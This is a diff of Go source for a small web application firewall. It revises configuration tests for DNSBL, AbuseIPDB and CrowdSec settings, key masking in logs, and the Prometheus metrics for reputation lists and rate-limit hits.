||||||
const (
|
|
||||||
notZone = " is not a DNS zone such as dnsbl.dronebl.org"
|
|
||||||
otherKey = "zyxwvutsrqponmlkjihgfedcba"
|
|
||||||
otherZone = otherKey + ".xbl.dq.spamhaus.net"
|
|
||||||
)
|
|
||||||
|
|
||||||
// 205 characters, 187 with the key masked.
|
|
||||||
labels := strings.Repeat("a", 63) + "." + strings.Repeat("b", 63) + "." +
|
|
||||||
strings.Repeat("c", 30) + ".xbl.dq.spamhaus.net"
|
|
||||||
|
|
||||||
for _, tc := range []struct{ value, want string }{
|
|
||||||
{spamhaus + ".", `"` + spamhausMasked + `."` + notZone},
|
|
||||||
{spamhausKey + "_.xbl.dq.spamhaus.net", `"` + spamhausMasked + `"` + notZone},
|
|
||||||
{
|
|
||||||
spamhausKey + "." + labels,
|
|
||||||
`"********.` + labels + `" is longer than 189 characters, too long ` +
|
|
||||||
`for the names IPv6 clients are asked about by`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
spamhaus + "," + strings.ToUpper(spamhaus),
|
|
||||||
`"********.XBL.DQ.SPAMHAUS.NET" is listed twice`,
|
|
||||||
},
|
|
||||||
{spamhaus + "," + otherZone, `"` + spamhausMasked + `" is listed twice`},
|
|
||||||
{spamhaus + ",,", "has an empty item in its list"},
|
|
||||||
} {
|
|
||||||
_, err := config.FromEnvironment(environment{dnsblZones: tc.value}.lookupEnv)
|
|
||||||
|
|
||||||
want := dnsblZones + ": " + tc.want
|
|
||||||
if err == nil || err.Error() != want {
|
|
||||||
t.Errorf("%s=%s gave the error %v, want %s", dnsblZones, tc.value, err, want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAbuseIPDBSettingsAsSet(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{})
|
|
||||||
if cfg.AbuseIPDBKey != "" || cfg.AbuseIPDBMinScore != 75 ||
|
|
||||||
cfg.AbuseIPDBDailyBudget != 900 {
|
|
||||||
t.Errorf("by default, the key %q, the minimum score %d and the daily budget %d, "+
|
|
||||||
"want none, 75 and 900", cfg.AbuseIPDBKey, cfg.AbuseIPDBMinScore,
|
|
||||||
cfg.AbuseIPDBDailyBudget)
|
|
||||||
}
|
|
||||||
|
|
||||||
cfg = fromEnvironment(t, environment{
|
|
||||||
abuseIPDBKey: token, abuseIPDBMinScore: "0", abuseIPDBDailyBudget: "1",
|
|
||||||
})
|
|
||||||
if cfg.AbuseIPDBKey != token || cfg.AbuseIPDBMinScore != 0 ||
|
|
||||||
cfg.AbuseIPDBDailyBudget != 1 {
|
|
||||||
t.Errorf("set, the key %q, the minimum score %d and the daily budget %d, "+
|
|
||||||
"want %s, 0 and 1", cfg.AbuseIPDBKey, cfg.AbuseIPDBMinScore,
|
|
||||||
cfg.AbuseIPDBDailyBudget, token)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestInvalidAbuseIPDBSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const (
|
|
||||||
notScore = " is not a percentage, a whole number from 0 to 100"
|
|
||||||
notBudget = " is not a whole number above zero, such as 5000"
|
|
||||||
)
|
|
||||||
|
|
||||||
for _, tc := range []struct{ name, value, want string }{
|
|
||||||
{abuseIPDBMinScore, "101", `"101"` + notScore},
|
|
||||||
{abuseIPDBMinScore, off, `"off"` + notScore},
|
|
||||||
{abuseIPDBDailyBudget, "0", `"0"` + notBudget},
|
|
||||||
{abuseIPDBDailyBudget, off, `"off"` + notBudget},
|
|
||||||
// The key itself is never shown.
|
|
||||||
{
|
|
||||||
abuseIPDBKey, token + "\r",
|
|
||||||
"holds a control character, such as the carriage return of a Windows line end",
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
|
||||||
|
|
||||||
want := tc.name + ": " + tc.want
|
|
||||||
if err == nil || err.Error() != want {
|
|
||||||
t.Errorf("error %v, want %s", err, want)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAbuseIPDBKeyIsLoggedMasked(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{abuseIPDBKey: token})
|
|
||||||
|
|
||||||
var out bytes.Buffer
|
|
||||||
|
|
||||||
slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg)
|
|
||||||
|
|
||||||
logged := out.String()
|
|
||||||
if strings.Contains(logged, token) ||
|
|
||||||
!strings.Contains(logged, `"`+abuseIPDBKey+`":"********"`) {
|
|
||||||
t.Errorf("the key is not logged masked: %s", logged)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestCrowdSecSettingsGiveTheDecisionListAndTheKey(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{})
|
|
||||||
if cfg.CrowdSecDecisionsURL != "" || cfg.CrowdSecKey != "" {
|
|
||||||
t.Errorf("by default, the decision list %q and the key %q, want neither",
|
|
||||||
cfg.CrowdSecDecisionsURL, cfg.CrowdSecKey)
|
|
||||||
}
|
|
||||||
|
|
||||||
for lapi, want := range map[string]string{
|
|
||||||
"http://172.17.0.1:8080": "http://172.17.0.1:8080/v1/decisions",
|
|
||||||
"http://172.17.0.1:8080/": "http://172.17.0.1:8080/v1/decisions",
|
|
||||||
"https://crowdsec.example/lapi/": "https://crowdsec.example/lapi/v1/decisions",
|
|
||||||
"https://crowdsec.example:8443/x": "https://crowdsec.example:8443/x/v1/decisions",
|
|
||||||
} {
|
|
||||||
cfg := fromEnvironment(t, environment{crowdSecURL: lapi, crowdSecKey: token})
|
|
||||||
if cfg.CrowdSecDecisionsURL != want || cfg.CrowdSecKey != token {
|
|
||||||
t.Errorf("%s=%s gave the decision list %q and the key %q, want %s and %s",
|
|
||||||
crowdSecURL, lapi, cfg.CrowdSecDecisionsURL, cfg.CrowdSecKey, want, token)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestInvalidCrowdSecSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const (
|
|
||||||
lapi = "http://172.17.0.1:8080"
|
|
||||||
notLAPIURL = " is not an http or https URL without a user or a fragment, " +
|
|
||||||
"such as http://172.17.0.1:8080"
|
|
||||||
anotherList = `gives the decision list "` + lapi + `/v1/decisions", which is in ` +
|
|
||||||
`SWWAF_BLOCKLIST_URLS or is SWWAF_ASN_LIMIT_PERCENT_URL too`
|
|
||||||
)
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
name string
|
|
||||||
env environment
|
|
||||||
want string
|
|
||||||
}{
|
|
||||||
{
|
|
||||||
"a URL that is not http",
|
|
||||||
environment{crowdSecURL: "ftp://172.17.0.1", crowdSecKey: token},
|
|
||||||
crowdSecURL + `: "ftp://172.17.0.1"` + notLAPIURL,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"a URL with a user",
|
|
||||||
environment{crowdSecURL: "http://bouncer@172.17.0.1:8080", crowdSecKey: token},
|
|
||||||
crowdSecURL + `: "http://bouncer@172.17.0.1:8080"` + notLAPIURL,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"the URL without the key",
|
|
||||||
environment{crowdSecURL: lapi},
|
|
||||||
crowdSecURL + ": is set while " + crowdSecKey + " is unset; the engine " +
|
|
||||||
"answers no request without it",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"the key without the URL",
|
|
||||||
environment{crowdSecKey: token},
|
|
||||||
crowdSecKey + ": is set while " + crowdSecURL + " is unset; it is sent only " +
|
|
||||||
"to the engine at that URL",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"the decision list as a blocklist too",
|
|
||||||
environment{
|
|
||||||
crowdSecURL: lapi, crowdSecKey: token,
|
|
||||||
blocklistURLs: "https://lists.example/drop.txt," + lapi + "/v1/decisions",
|
|
||||||
},
|
|
||||||
crowdSecURL + ": " + anotherList,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"the decision list as the file of AS:percent lines too",
|
|
||||||
environment{
|
|
||||||
crowdSecURL: lapi + "/", crowdSecKey: token,
|
|
||||||
asnLimitPercentURL: lapi + "/v1/decisions",
|
|
||||||
},
|
|
||||||
crowdSecURL + ": " + anotherList,
|
|
||||||
},
|
|
||||||
// The key itself is never shown.
|
|
||||||
{
|
|
||||||
"a key with a control character",
|
|
||||||
environment{crowdSecURL: lapi, crowdSecKey: token + "\r"},
|
|
||||||
crowdSecKey + ": holds a control character, such as the carriage return " +
|
|
||||||
"of a Windows line end",
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
_, err := config.FromEnvironment(tc.env.lookupEnv)
|
|
||||||
if err == nil || err.Error() != tc.want {
|
|
||||||
t.Errorf("error %v, want %s", err, tc.want)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestCrowdSecKeyIsLoggedMasked(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{
|
|
||||||
crowdSecURL: "http://172.17.0.1:8080", crowdSecKey: token,
|
|
||||||
})
|
|
||||||
|
|
||||||
var out bytes.Buffer
|
|
||||||
|
|
||||||
slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg)
|
|
||||||
|
|
||||||
logged := out.String()
|
|
||||||
if strings.Contains(logged, token) ||
|
|
||||||
!strings.Contains(logged, `"`+crowdSecKey+`":"********"`) ||
|
|
||||||
!strings.Contains(logged, `"`+crowdSecURL+`":"http://172.17.0.1:8080"`) {
|
|
||||||
t.Errorf("the key is not logged masked beside the URL: %s", logged)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestSizesAndOff(t *testing.T) {
|
func TestSizesAndOff(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -2062,10 +1553,6 @@ func TestInvalidValueStopsTheStart(t *testing.T) {
|
|||||||
{trustedProxies, "traefik"},
|
{trustedProxies, "traefik"},
|
||||||
{trustedProxies, "10.0.0.0/8,,192.168.0.0/16"},
|
{trustedProxies, "10.0.0.0/8,,192.168.0.0/16"},
|
||||||
{trustedProxies, "fe80::1%eth0"},
|
{trustedProxies, "fe80::1%eth0"},
|
||||||
{ipv6GroupPrefix, "31"}, {ipv6GroupPrefix, "129"}, {ipv6GroupPrefix, "/64"},
|
|
||||||
{ipv6GroupPrefix, off}, {ipv6GroupPrefix, ""},
|
|
||||||
{maxTrackedClients, "0"}, {maxTrackedClients, "-1"}, {maxTrackedClients, off},
|
|
||||||
{maxTrackedClients, "20K"},
|
|
||||||
{allowNets, "192.0.2.0/24,monitoring"},
|
{allowNets, "192.0.2.0/24,monitoring"},
|
||||||
{rateLimitExemptNets, "2001:db8::/129"},
|
{rateLimitExemptNets, "2001:db8::/129"},
|
||||||
{denyNets, "198.51.100.0/24,"},
|
{denyNets, "198.51.100.0/24,"},
|
||||||
@@ -2119,7 +1606,6 @@ func TestInvalidValueStopsTheStart(t *testing.T) {
|
|||||||
{logRequestHeaders, "accept language"}, {logRequestHeaders, "x-foo:"},
|
{logRequestHeaders, "accept language"}, {logRequestHeaders, "x-foo:"},
|
||||||
{logRequestHeaders, "host"}, {logRequestHeaders, "accept,Host"},
|
{logRequestHeaders, "host"}, {logRequestHeaders, "accept,Host"},
|
||||||
{logRequestHeaders, "transfer-encoding"}, {logRequestHeaders, "TRANSFER-ENCODING"},
|
{logRequestHeaders, "transfer-encoding"}, {logRequestHeaders, "TRANSFER-ENCODING"},
|
||||||
{logLevel, "INFO"}, {logLevel, "warning"}, {logLevel, "trace"}, {logLevel, ""},
|
|
||||||
{rulesEnabled, "yes"}, {rulesEnabled, "True"},
|
{rulesEnabled, "yes"}, {rulesEnabled, "True"},
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -2362,8 +1848,6 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
|
|||||||
upstreamURL: "http://127.0.0.1:8081",
|
upstreamURL: "http://127.0.0.1:8081",
|
||||||
mode: "enforce",
|
mode: "enforce",
|
||||||
trustedProxies: "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16",
|
trustedProxies: "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16",
|
||||||
ipv6GroupPrefix: "64",
|
|
||||||
maxTrackedClients: "20000",
|
|
||||||
clientRequestTimeout: "45s",
|
clientRequestTimeout: "45s",
|
||||||
clientHeaderMaxBytes: "32K",
|
clientHeaderMaxBytes: "32K",
|
||||||
clientIdleTimeout: "120s",
|
clientIdleTimeout: "120s",
|
||||||
@@ -2400,14 +1884,9 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
|
|||||||
blocklistAction: actionDeny,
|
blocklistAction: actionDeny,
|
||||||
dnsblZones: "",
|
dnsblZones: "",
|
||||||
dnsblResolver: "",
|
dnsblResolver: "",
|
||||||
abuseIPDBKey: "",
|
|
||||||
abuseIPDBMinScore: "75",
|
|
||||||
abuseIPDBDailyBudget: "900",
|
|
||||||
reputationAction: "limit:25",
|
reputationAction: "limit:25",
|
||||||
reputationCacheTTL: defaultReputationCacheTTL,
|
reputationCacheTTL: defaultReputationCacheTTL,
|
||||||
reputationTimeout: "2s",
|
reputationTimeout: "2s",
|
||||||
crowdSecURL: "",
|
|
||||||
crowdSecKey: "",
|
|
||||||
banResponse: "403",
|
banResponse: "403",
|
||||||
limitBanDuration: "1h",
|
limitBanDuration: "1h",
|
||||||
limitBanRepeatWindow: "24h",
|
limitBanRepeatWindow: "24h",
|
||||||
@@ -2423,17 +1902,8 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
|
|||||||
metricsTopN: "50",
|
metricsTopN: "50",
|
||||||
instanceName: hostname,
|
instanceName: hostname,
|
||||||
logRequestHeaders: defaultLogRequestHeaders,
|
logRequestHeaders: defaultLogRequestHeaders,
|
||||||
logLevel: "info",
|
|
||||||
rulesDir: "/etc/smallwebwaf/rules.d",
|
rulesDir: "/etc/smallwebwaf/rules.d",
|
||||||
rulesEnabled: "true",
|
rulesEnabled: "true",
|
||||||
wafMode: config.WAFModeBlock,
|
|
||||||
wafParanoiaLevel: "1",
|
|
||||||
wafAnomalyThreshold: "5",
|
|
||||||
wafDisabledRules: defaultWAFDisabledRules,
|
|
||||||
wafExemptPaths: "",
|
|
||||||
wafBodyLimit: off,
|
|
||||||
trapPaths: "",
|
|
||||||
errorBurstThreshold: "30",
|
|
||||||
logRemoteURL: "",
|
logRemoteURL: "",
|
||||||
logRemoteTLSCAFile: "",
|
logRemoteTLSCAFile: "",
|
||||||
logRemoteBuffer: "10000",
|
logRemoteBuffer: "10000",
|
||||||
|
|||||||
@@ -176,8 +176,7 @@ func New(params Params) *GeoJS {
|
|||||||
// when it ends.
|
// when it ends.
|
||||||
//
|
//
|
||||||
// GeoJS is asked about the client's first address, which is the client's
|
// GeoJS is asked about the client's first address, which is the client's
|
||||||
// own address for IPv4, and an address in the same place for an IPv6
|
// own address for IPv4, and an address in the same place for an IPv6 /64.
|
||||||
// netblock.
|
|
||||||
func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
|
func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
|
||||||
answer, asked := g.answerOrWait(ctx, client)
|
answer, asked := g.answerOrWait(ctx, client)
|
||||||
if asked == nil {
|
if asked == nil {
|
||||||
|
|||||||
+60
-109
@@ -6,6 +6,7 @@ package metrics
|
|||||||
import (
|
import (
|
||||||
"net/http"
|
"net/http"
|
||||||
"strconv"
|
"strconv"
|
||||||
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/prometheus/client_golang/prometheus"
|
"github.com/prometheus/client_golang/prometheus"
|
||||||
@@ -13,7 +14,6 @@ import (
|
|||||||
"github.com/prometheus/client_golang/prometheus/promhttp"
|
"github.com/prometheus/client_golang/prometheus/promhttp"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||||
@@ -36,7 +36,6 @@ type Metrics struct {
|
|||||||
rateLimitHits *prometheus.CounterVec
|
rateLimitHits *prometheus.CounterVec
|
||||||
sizeAndTimeLimitHits *prometheus.CounterVec
|
sizeAndTimeLimitHits *prometheus.CounterVec
|
||||||
offences *prometheus.CounterVec
|
offences *prometheus.CounterVec
|
||||||
wafMatches *prometheus.CounterVec
|
|
||||||
// ruleMatches are made by AddRules, and reputationHits by
|
// ruleMatches are made by AddRules, and reputationHits by
|
||||||
// AddReputation.
|
// AddReputation.
|
||||||
ruleMatches *prometheus.CounterVec
|
ruleMatches *prometheus.CounterVec
|
||||||
@@ -64,8 +63,6 @@ type Metrics struct {
|
|||||||
// topN is how many countries and how many AS numbers get series of their
|
// topN is how many countries and how many AS numbers get series of their
|
||||||
// own (SWWAF_METRICS_TOP_N). Every metric carries instanceName
|
// own (SWWAF_METRICS_TOP_N). Every metric carries instanceName
|
||||||
// (SWWAF_INSTANCE_NAME) as its label instance.
|
// (SWWAF_INSTANCE_NAME) as its label instance.
|
||||||
//
|
|
||||||
//nolint:funlen // a few lines for each metric, a list that grows with them
|
|
||||||
func New(topN int, instanceName string) *Metrics {
|
func New(topN int, instanceName string) *Metrics {
|
||||||
byStatus := []string{"status_class", "action"}
|
byStatus := []string{"status_class", "action"}
|
||||||
byFile := []string{"file"}
|
byFile := []string{"file"}
|
||||||
@@ -96,17 +93,14 @@ func New(topN int, instanceName string) *Metrics {
|
|||||||
Help: "How long requests passed to the app took, from then to their end.",
|
Help: "How long requests passed to the app took, from then to their end.",
|
||||||
}),
|
}),
|
||||||
rateLimitHits: counterVec("smallwebwaf_rate_limit_hits_total",
|
rateLimitHits: counterVec("smallwebwaf_rate_limit_hits_total",
|
||||||
"Requests that broke a rate limit, a byte limit or the error burst, by "+
|
"Requests that broke a rate limit or a byte limit, by its window and "+
|
||||||
"its window and its kind, requests, bytes or refusals.",
|
"its kind, requests or bytes.",
|
||||||
[]string{"window", "kind"}),
|
[]string{"window", "kind"}),
|
||||||
sizeAndTimeLimitHits: counterVec("smallwebwaf_size_and_time_limit_hits_total",
|
sizeAndTimeLimitHits: counterVec("smallwebwaf_size_and_time_limit_hits_total",
|
||||||
"Requests that passed a size or time limit, by its setting.",
|
"Requests that passed a size or time limit, by its setting.",
|
||||||
[]string{"limit"}),
|
[]string{"limit"}),
|
||||||
offences: counterVec("smallwebwaf_offences_total",
|
offences: counterVec("smallwebwaf_offences_total",
|
||||||
"Offences, by kind.", []string{"kind"}),
|
"Offences, by kind.", []string{"kind"}),
|
||||||
wafMatches: counterVec("smallwebwaf_waf_matches_total",
|
|
||||||
"Requests that matched a rule of the Core Rule Set, by SWWAF_WAF_MODE "+
|
|
||||||
"and the rule's id.", []string{"mode", "rule_id"}),
|
|
||||||
countries: newCountries(topN),
|
countries: newCountries(topN),
|
||||||
asns: newASNs(topN),
|
asns: newASNs(topN),
|
||||||
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
|
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
|
||||||
@@ -142,8 +136,7 @@ func New(topN int, instanceName string) *Metrics {
|
|||||||
collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}),
|
collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}),
|
||||||
m.inFlight, m.requests, m.requestBytes, m.responseBytes,
|
m.inFlight, m.requests, m.requestBytes, m.responseBytes,
|
||||||
m.requestDuration, m.upstreamDuration,
|
m.requestDuration, m.upstreamDuration,
|
||||||
m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, m.wafMatches,
|
m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, m.countries, m.asns,
|
||||||
m.countries, m.asns,
|
|
||||||
m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered,
|
m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered,
|
||||||
m.stateFileWrites, m.stateFileWriteFailures,
|
m.stateFileWrites, m.stateFileWriteFailures,
|
||||||
m.stateFileLastWrite, m.stateFileSize,
|
m.stateFileLastWrite, m.stateFileSize,
|
||||||
@@ -160,9 +153,7 @@ func New(topN int, instanceName string) *Metrics {
|
|||||||
func (m *Metrics) AddBansAndClients(
|
func (m *Metrics) AddBansAndClients(
|
||||||
ledger *bans.Ledger, limiter *ratelimit.Limiter, now func() time.Time,
|
ledger *bans.Ledger, limiter *ratelimit.Limiter, now func() time.Time,
|
||||||
) {
|
) {
|
||||||
for _, cause := range []string{
|
for _, cause := range []string{bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin} {
|
||||||
bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
|
|
||||||
} {
|
|
||||||
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
|
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||||
Name: "smallwebwaf_bans_made_total",
|
Name: "smallwebwaf_bans_made_total",
|
||||||
Help: "Bans made, by cause.",
|
Help: "Bans made, by cause.",
|
||||||
@@ -265,37 +256,57 @@ func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() i
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// sourceLabel is the label of the reputation metrics: a list's URL, a
|
|
||||||
// DNSBL zone, its key masked, or abuseipdb.
|
|
||||||
const sourceLabel = "source"
|
|
||||||
|
|
||||||
// AddReputation adds the metrics of the lists fetched from URLs and of the
|
// AddReputation adds the metrics of the lists fetched from URLs and of the
|
||||||
// DNSBL zones, by source, each list's URL or each zone, its key masked as
|
// DNSBL zones, by source, each list's URL or each zone: the requests whose
|
||||||
// config.MaskZoneKey masks it: the requests whose client a blocklist, the
|
// client a blocklist or a zone's verdict lists, which ReputationHit
|
||||||
// CrowdSec decision list, a zone's verdict or AbuseIPDB's score lists,
|
// counts, and, read from lists and dnsbl as the metrics are asked for, for
|
||||||
// which ReputationHit counts, and, read from lists and dnsbl as the
|
// a list, the fetches that failed and when the copy in use was fetched,
|
||||||
// metrics are asked for, for a list, the fetches that failed and when the
|
// and for a zone, the queries made and those that failed. It is called
|
||||||
// copy in use was fetched, and for a zone, the queries made and those that
|
// once, before ReputationHit.
|
||||||
// failed. It is called once, before ReputationHit.
|
|
||||||
func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) {
|
func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) {
|
||||||
|
const (
|
||||||
|
sourceLabel = "source"
|
||||||
|
failuresHelp = "Fetches of the list, or queries to the DNSBL zone, that failed."
|
||||||
|
)
|
||||||
|
|
||||||
m.reputationHits = counterVec("smallwebwaf_reputation_hits_total",
|
m.reputationHits = counterVec("smallwebwaf_reputation_hits_total",
|
||||||
"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
|
"Requests whose client a blocklist or a DNSBL zone lists, by the "+
|
||||||
"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
|
"blocklist's URL or the zone.",
|
||||||
[]string{sourceLabel})
|
[]string{sourceLabel})
|
||||||
m.registry.MustRegister(m.reputationHits)
|
m.registry.MustRegister(m.reputationHits)
|
||||||
|
|
||||||
for _, zone := range dnsbl.Zones() {
|
for _, zone := range dnsbl.Zones() {
|
||||||
source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)}
|
source := prometheus.Labels{sourceLabel: zone}
|
||||||
|
|
||||||
m.addReputationQueries(source, func() int { return dnsbl.Queries(zone) })
|
m.registry.MustRegister(
|
||||||
m.addReputationFailures(source, func() int { return dnsbl.Failures(zone) })
|
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||||
|
Name: "smallwebwaf_reputation_queries_total",
|
||||||
|
Help: "Queries to the DNSBL zone.",
|
||||||
|
ConstLabels: source,
|
||||||
|
}, func() float64 {
|
||||||
|
return float64(dnsbl.Queries(zone))
|
||||||
|
}),
|
||||||
|
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||||
|
Name: "smallwebwaf_reputation_failures_total",
|
||||||
|
Help: failuresHelp,
|
||||||
|
ConstLabels: source,
|
||||||
|
}, func() float64 {
|
||||||
|
return float64(dnsbl.Failures(zone))
|
||||||
|
}),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, listURL := range lists.URLs() {
|
for _, listURL := range lists.URLs() {
|
||||||
source := prometheus.Labels{sourceLabel: listURL}
|
source := prometheus.Labels{sourceLabel: listURL}
|
||||||
|
|
||||||
m.addReputationFailures(source, func() int { return lists.Failures(listURL) })
|
|
||||||
m.registry.MustRegister(
|
m.registry.MustRegister(
|
||||||
|
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||||
|
Name: "smallwebwaf_reputation_failures_total",
|
||||||
|
Help: failuresHelp,
|
||||||
|
ConstLabels: source,
|
||||||
|
}, func() float64 {
|
||||||
|
return float64(lists.Failures(listURL))
|
||||||
|
}),
|
||||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
||||||
Name: "smallwebwaf_reputation_last_fetch_timestamp_seconds",
|
Name: "smallwebwaf_reputation_last_fetch_timestamp_seconds",
|
||||||
Help: "When the copy of the list in use was fetched, in seconds since " +
|
Help: "When the copy of the list in use was fetched, in seconds since " +
|
||||||
@@ -313,29 +324,8 @@ func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// AddAbuseIPDB adds the metrics of AbuseIPDB, with the source abuseipdb,
|
// ReputationHit counts a request whose client source lists: a blocklist,
|
||||||
// read from abuseIPDB as the metrics are asked for: the checks made, those
|
// by its URL, or a DNSBL zone.
|
||||||
// that failed, and how many checks the day's budget has left. It is
|
|
||||||
// called once, after AddReputation, while SWWAF_ABUSEIPDB_KEY is set.
|
|
||||||
func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
|
|
||||||
source := prometheus.Labels{sourceLabel: reputation.AbuseIPDBSource}
|
|
||||||
|
|
||||||
m.addReputationQueries(source, abuseIPDB.Checked)
|
|
||||||
m.addReputationFailures(source, abuseIPDB.Failures)
|
|
||||||
m.registry.MustRegister(
|
|
||||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
|
||||||
Name: "smallwebwaf_reputation_daily_budget_remaining",
|
|
||||||
Help: "Checks of the day's SWWAF_ABUSEIPDB_DAILY_BUDGET not yet spent.",
|
|
||||||
ConstLabels: source,
|
|
||||||
}, func() float64 {
|
|
||||||
return float64(abuseIPDB.BudgetLeft())
|
|
||||||
}),
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
// ReputationHit counts a request whose client source lists: a blocklist
|
|
||||||
// or the CrowdSec decision list, by its URL, a DNSBL zone, its key masked,
|
|
||||||
// or AbuseIPDB, abuseipdb.
|
|
||||||
func (m *Metrics) ReputationHit(source string) {
|
func (m *Metrics) ReputationHit(source string) {
|
||||||
m.reputationHits.WithLabelValues(source).Inc()
|
m.reputationHits.WithLabelValues(source).Inc()
|
||||||
}
|
}
|
||||||
@@ -413,10 +403,26 @@ func (m *Metrics) RequestEnded(
|
|||||||
m.upstreamDuration.Observe(upstreamDuration.Seconds())
|
m.upstreamDuration.Observe(upstreamDuration.Seconds())
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if line.LimitHit != "" {
|
||||||
|
// The log line names a byte limit's window with _bytes after it.
|
||||||
|
window, isBytes := strings.CutSuffix(line.LimitHit, "_bytes")
|
||||||
|
|
||||||
|
kind := ratelimit.KindRequests
|
||||||
|
if isBytes {
|
||||||
|
kind = ratelimit.KindBytes
|
||||||
|
}
|
||||||
|
|
||||||
|
m.rateLimitHits.WithLabelValues(window, kind).Inc()
|
||||||
|
}
|
||||||
|
|
||||||
if limit != "" {
|
if limit != "" {
|
||||||
m.sizeAndTimeLimitHits.WithLabelValues(limit).Inc()
|
m.sizeAndTimeLimitHits.WithLabelValues(limit).Inc()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if line.Offence != "" {
|
||||||
|
m.offences.WithLabelValues(line.Offence).Inc()
|
||||||
|
}
|
||||||
|
|
||||||
if line.Country != "" {
|
if line.Country != "" {
|
||||||
m.countries.add(line.Country, line)
|
m.countries.add(line.Country, line)
|
||||||
}
|
}
|
||||||
@@ -426,41 +432,12 @@ func (m *Metrics) RequestEnded(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
